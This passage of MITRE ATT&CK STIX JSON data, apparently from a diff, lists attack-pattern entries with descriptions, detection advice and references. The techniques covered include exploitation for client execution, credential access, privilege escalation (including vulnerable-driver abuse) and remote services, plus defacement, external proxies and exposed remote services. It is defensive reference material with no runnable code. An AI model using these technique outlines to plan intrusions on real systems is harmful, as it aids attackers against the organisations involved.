"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" + }, + { + "url": "https://cwe.mitre.org/top25/index.html", + "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.", + "source_name": "CWE top 25" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exploitation for Client Execution", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1203", + "external_id": "T1203", + "source_name": "mitre-attack" + } + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T19:01:34.932Z", + "x_mitre_system_requirements": [ + "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise." + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", + "x_mitre_remote_support": false, + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created": "2018-04-18T17:59:24.739Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exploitation for Credential Access", + "x_mitre_version": "1.1", + "modified": "2020-03-25T18:51:01.070Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1212", + "external_id": "T1212", + "source_name": "mitre-attack" + }, + { + "source_name": "Technet MS14-068", + "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.", + "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exploitation for Defense Evasion", + "x_mitre_version": "1.1", + "modified": "2020-03-29T20:00:46.900Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "System access controls" + ], + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1211", + "external_id": "T1211", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-22T16:13:34.896Z", + "name": "Exploitation for Privilege Escalation", + "x_mitre_data_sources": [ + "Driver: Driver Load" + ], + "x_mitre_version": "1.3", + "created": "2017-05-31T21:30:55.066Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", + "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security", + "Idan Revivo, @idanr86, Team Nautilus Aqua Security" + ], + "x_mitre_effective_permissions": [ + "User" + ], + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1068", + "external_id": "T1068", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.", + "source_name": "Unit42 AcidBox June 2020" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.", + "source_name": "Microsoft Driver Block Rules" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exploitation of Remote Services", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1210", + "external_id": "T1210", + "source_name": "mitre-attack" + }, + { + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" + }, + { + "source_name": "NVD CVE-2017-0176", + "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176" + }, + { + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662" + }, + { + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + } + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-22T20:23:01.478Z", + "x_mitre_system_requirements": [ + "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network." + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", + "x_mitre_contributors": [ + "ExtraHop" + ], + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created": "2018-04-18T17:59:24.739Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2021-04-15T03:07:53.803Z", + "name": "Exploits", + "x_mitre_version": "1.0", + "created": "2020-10-01T01:48:15.511Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2", + "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1587/004", + "external_id": "T1587.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html", + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "source_name": "NYTStuxnet" + }, + { + "url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims", + "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.", + "source_name": "Irongeek Sims BSides 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exploits", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:14:01.255Z", + "created": "2020-10-01T02:17:46.086Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636", + "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1588/005", + "external_id": "T1588.005", + "source_name": "mitre-attack" + }, + { + "url": "https://www.exploit-db.com/", + "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.", + "source_name": "Exploit Database" + }, + { + "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage", + "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.", + "source_name": "TempertonDarkHotel" + }, + { + "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html", + "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", + "source_name": "NationsBuying" + }, + { + "source_name": "PegasusCitizenLab", + "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", + "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + }, + { + "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec", + "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.", + "source_name": "Wired SandCat Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "External Defacement", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-08T10:33:01.745Z", + "created": "2020-02-20T14:34:08.496Z", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3", + "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_detection": "Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1491/002", + "external_id": "T1491.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf", + "description": "FireEye. (n.d.). Retrieved April 19, 2019.", + "source_name": "FireEye Cyber Threats to Media Industries" + }, + { + "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf", + "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.", + "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence" + }, + { + "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/", + "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.", + "source_name": "Anonymous Hackers Deface Russian Govt Site" + }, + { + "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf", + "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.", + "source_name": "Trend Micro Deep Dive Into Defacement" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-27T17:50:37.411Z", + "name": "External Proxy", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-14T23:12:18.466Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1090/002", + "external_id": "T1090.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "External Remote Services", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Logon Session: Logon Session Metadata", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "2.3", + "modified": "2021-08-19T16:57:27.209Z", + "created": "2017-05-31T21:31:44.421Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "x_mitre_platforms": [ + "Windows", + "Linux", + "Containers", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)", + "x_mitre_contributors": [ + "ExtraHop", + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Idan Frimark, Cisco", + "Rory McCune, Aqua Security", + "Yuval Avrahami, Palo Alto Networks", + "Jay Chen, Palo Alto Networks", + "Brad Geesaman, @bradgeesaman", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "Daniel Oakley", + "Travis Smith, Tripwire" + ], + "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for 